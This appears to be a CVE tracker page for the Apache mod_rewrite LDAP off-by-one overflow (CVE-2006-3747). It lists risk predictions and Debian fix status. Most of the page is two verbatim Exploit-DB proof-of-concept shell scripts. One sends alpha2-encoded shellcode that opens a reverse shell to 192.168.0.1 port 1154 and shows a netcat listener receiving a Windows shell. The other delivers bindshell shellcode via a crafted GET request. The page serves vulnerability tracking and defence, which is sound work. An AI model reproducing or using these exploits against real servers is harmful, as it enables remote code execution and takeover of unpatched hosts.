CVE-2006-3747

unknown

Published — · Modified —

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CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

1.0

Description

Off-by-one error in the ldap scheme handling in the Rewrite module (mod_rewrite) in Apache 1.3 from 1.3.28, 2.0.46 and other versions before 2.0.59, and 2.2, when RewriteEngine is enabled, allows remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via crafted URLs that are not properly handled using certain rewrite rules.

Predictions

Exploit likelihood

90%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-3680 remote windows_x86 verified bash · 5 KB

axis · 2007-04-07

Apache mod_rewrite (Windows x86) - Off-by-One Remote Overflow

bash exploit Source: Exploit-DB

#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one(Win32).
#
# by axis <axis@ph4nt0m>
# http://www.ph4nt0m.org
# 2007-04-06
#
# Tested on Apache 2.0.58 (Win32)
# Windows2003 CN SP1
#
# Vulnerable Apache Versions:
# * 1.3 branch: >1.3.28 and <1.3.37
# * 2.0 branch: >2.0.46 and <2.0.59
# * 2.2 branch: >2.2.0 and <2.2.3
#
#
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
# 
# first POC by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
# http://www.milw0rm.com/exploits/2237
#
#
# 
# to successfully exploit the vuln,there are some conditions
# http://www.vuxml.org/freebsd/dc8c08c7-1e7c-11db-88cf-000c6ec775d9.html
# 
# 
# some compilers added padding to the stack, so they could not be exploited,like gcc under redhat
# 
# for more details about the vuln please see:
# http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded
# 
# 
# no opcodes needed under windows!
# it will directly run our shellcode
# 
# my apache config file
# [httpd.conf]:
# RewriteEngine on
# RewriteRule 1/(.*) $1
# RewriteLog "logs/rewrite.log"
# RewriteLogLevel 3
# 
# 
# Usage:
# [axis@security-lab2 xploits]$ sh mod_rewrite.sh 10.0.76.141
# mod_rewrite apache off-by-one overflow
# 
# [axis@opensystemX axis]$ nc -vv -n -l -p 1154
# listening on [any] 1154 ...
# connect to [x.x.x.111] from (UNKNOWN) [10.0.76.141] 4077
# Microsoft Windows [¡ã?¡À? 5.2.3790]
# (C) ¡ã?¨¨¡§?¨´¨®D 1985-2003 Microsoft Corp.
# 
# D:\Apache\Apache2>exit
# exit
#  sent 5, rcvd 100
# 
# 
# 
# shellcode µÄbadchar£¬ÎÒÕâÀïÓÃµÄ£¬ÆäÊµ²»ÐèÒªÄÇÃ´¶à
# ÎÒ¸úµ½Á½¸öbadcharÊÇ 0x3fºÍ 0x0b ÆäËû¶¼ÊÇÒÔÇ°Éú³ÉshellcodeÏ°¹ßÐÔ±£ÁôµÄ
# 0x00 0x3a 0x22 0x3b 0x7d 0x7b 0x3c 0x3e 0x5c 0x5d 0x3f 0x0b
#


echo -e "mod_rewrite apache off-by-one overflow"


if [ $# -ne 1 ] ; then
  echo "Usage: $0 webserver"
  exit
fi

host=$1

#use ldap:// to trigger the vuln, "Ph4nt0m" is any arbitrary string
echo -ne "GET /1/ldap://ph4nt0m/`perl -e 'print "Ph4nt0m"x5'`\  
# %3f to trigger the vuln
%3fA%3fA%3f\    
#string "CCCC.." is any arbitrary string, use %3f to trigger the vuln
#%90 is the machine code we will jmp to(NOP),run shellcode from here
`perl -e 'print "C"x10'`%3fC%3f%90\    
# shellcode,reverse shell to 192.168.0.1 ,port 1154  alpha2 encoded
`perl -e 'print "\    
\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49\
\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x63\
\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x42\x32\x42\x41\x41\x32\
\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x69\x79\x79\x6c\x51\
\x7a\x6a\x4b\x50\x4d\x4d\x38\x6b\x49\x79\x6f\x49\x6f\x6b\x4f\x65\
\x30\x4c\x4b\x72\x4c\x45\x74\x51\x34\x4e\x6b\x71\x55\x77\x4c\x6c\
\x4b\x33\x4c\x64\x45\x33\x48\x64\x41\x5a\x4f\x4c\x4b\x72\x6f\x36\
\x78\x4c\x4b\x73\x6f\x45\x70\x66\x61\x4a\x4b\x53\x79\x4e\x6b\x44\
\x74\x4e\x6b\x73\x31\x38\x6e\x55\x61\x79\x50\x6c\x59\x6c\x6c\x4b\
\x34\x6f\x30\x74\x34\x34\x47\x59\x51\x5a\x6a\x76\x6d\x76\x61\x6f\
\x32\x5a\x4b\x79\x64\x55\x6b\x33\x64\x51\x34\x41\x38\x30\x75\x4b\
\x55\x6e\x6b\x33\x6f\x44\x64\x46\x61\x7a\x4b\x32\x46\x6e\x6b\x34\
\x4c\x42\x6b\x6e\x6b\x73\x6f\x77\x6c\x54\x41\x58\x6b\x43\x33\x74\
\x6c\x6c\x4b\x4d\x59\x50\x6c\x74\x64\x75\x4c\x52\x41\x6f\x33\x50\
\x31\x6b\x6b\x72\x44\x4c\x4b\x50\x43\x66\x50\x6c\x4b\x33\x70\x64\
\x4c\x6c\x4b\x74\x30\x65\x4c\x4e\x4d\x4e\x6b\x53\x70\x47\x78\x33\
\x6e\x51\x78\x4c\x4e\x52\x6e\x56\x6e\x58\x6c\x50\x50\x59\x6f\x79\
\x46\x70\x66\x62\x73\x75\x36\x75\x38\x66\x53\x64\x72\x42\x48\x53\
\x47\x32\x53\x50\x32\x71\x4f\x71\x44\x49\x6f\x48\x50\x52\x48\x5a\
\x6b\x48\x6d\x6b\x4c\x65\x6b\x70\x50\x4b\x4f\x68\x56\x61\x4f\x4e\
\x69\x4a\x45\x30\x66\x6e\x61\x78\x6d\x67\x78\x73\x32\x42\x75\x52\
\x4a\x75\x52\x6b\x4f\x7a\x70\x61\x78\x6b\x69\x55\x59\x6c\x35\x6e\
\x4d\x51\x47\x4b\x4f\x4e\x36\x70\x53\x50\x53\x56\x33\x76\x33\x43\
\x73\x32\x73\x31\x53\x52\x73\x6b\x4f\x4a\x70\x70\x68\x6f\x30\x6d\
\x78\x35\x50\x46\x61\x30\x66\x30\x68\x76\x64\x6c\x42\x33\x56\x70\
\x53\x4e\x69\x78\x61\x4c\x55\x75\x38\x4a\x4c\x58\x79\x4c\x6a\x73\
\x50\x53\x67\x6b\x4f\x6a\x76\x73\x5a\x72\x30\x73\x61\x53\x65\x4b\
\x4f\x6a\x70\x52\x46\x31\x7a\x52\x44\x73\x56\x50\x68\x51\x73\x50\
\x6d\x32\x4a\x62\x70\x51\x49\x47\x59\x6a\x6c\x6c\x49\x4b\x57\x42\
\x4a\x73\x74\x6d\x59\x6d\x32\x35\x61\x6f\x30\x48\x73\x4f\x5a\x6f\
\x65\x4c\x49\x39\x6d\x4b\x4e\x33\x72\x54\x6d\x6b\x4e\x33\x72\x34\
\x6c\x6c\x4d\x50\x7a\x57\x48\x4e\x4b\x4c\x6b\x6c\x6b\x71\x78\x32\
\x52\x6b\x4e\x6c\x73\x42\x36\x49\x6f\x73\x45\x65\x78\x6b\x4f\x6e\
\x36\x71\x4b\x42\x77\x43\x62\x53\x61\x76\x31\x70\x51\x30\x6a\x35\
\x51\x62\x71\x76\x31\x72\x75\x43\x61\x4b\x4f\x6e\x30\x73\x58\x4e\
\x4d\x7a\x79\x37\x75\x38\x4e\x31\x43\x4b\x4f\x4a\x76\x30\x6a\x39\
\x6f\x6b\x4f\x70\x37\x6b\x4f\x6e\x30\x45\x38\x39\x77\x54\x39\x79\
\x56\x71\x69\x79\x6f\x53\x45\x56\x64\x69\x6f\x69\x46\x6b\x4f\x62\
\x57\x6b\x4c\x4b\x4f\x6a\x70\x50\x68\x6a\x50\x6f\x7a\x37\x74\x43\
\x6f\x72\x73\x4b\x4f\x6a\x76\x79\x6f\x38\x50\x63\
"'`\
HTTP/1.0\r\n\
Host: $host\r\n\r\n" | nc -vv $host 80

# milw0rm.com [2007-04-07]

EDB-2237 remote multiple verified bash · 2 KB

Jacobo Avariento · 2006-08-21

Apache < 1.3.37/2.0.59/2.2.3 mod_rewrite - Remote Overflow

bash exploit Source: Exploit-DB

#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
# 
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice ;)
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P

echo -e "mod_rewrite apache off-by-one overflow"
echo    "by jack <jack\x40gulcas\x2eorg>\n\n"

if [ $# -ne 1 ] ; then
  echo "Usage: $0 webserver"
  exit
fi

host=$1

echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6\
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3\
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04\
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66\
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31\
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8\
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76\
%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db\
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\n\
Host: $host\r\n\r\n" | nc $host 80

# milw0rm.com [2006-08-21]

EDB-3996 remote windows verified

fabio/b0x · 2007-05-26

Apache 2.0.58 mod_rewrite (Windows 2003) - Remote Overflow

Source code queued for fetch — refresh in a moment.

EDB-16752 remote windows verified

Metasploit · 2010-02-15

Apache mod_rewrite - LDAP protocol Buffer Overflow (Metasploit)

Source code queued for fetch — refresh in a moment.

Metasploit modules

exploit_windows/http/apache_mod_rewrite_ldap rank 500

Apache Module mod_rewrite LDAP Protocol Buffer Overflow

Source fetch failed: fetch_error — view the original via the link above.

OS impact

Debian Fixed 5 releases

Version	Status	Fixed in
trixie	Fixed	`2.0.55-4.1`
sid	Fixed	`2.0.55-4.1`
forky	Fixed	`2.0.55-4.1`
bullseye	Fixed	`2.0.55-4.1`
bookworm	Fixed	`2.0.55-4.1`

References

https://security-tracker.debian.org/tracker/CVE-2006-3747

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.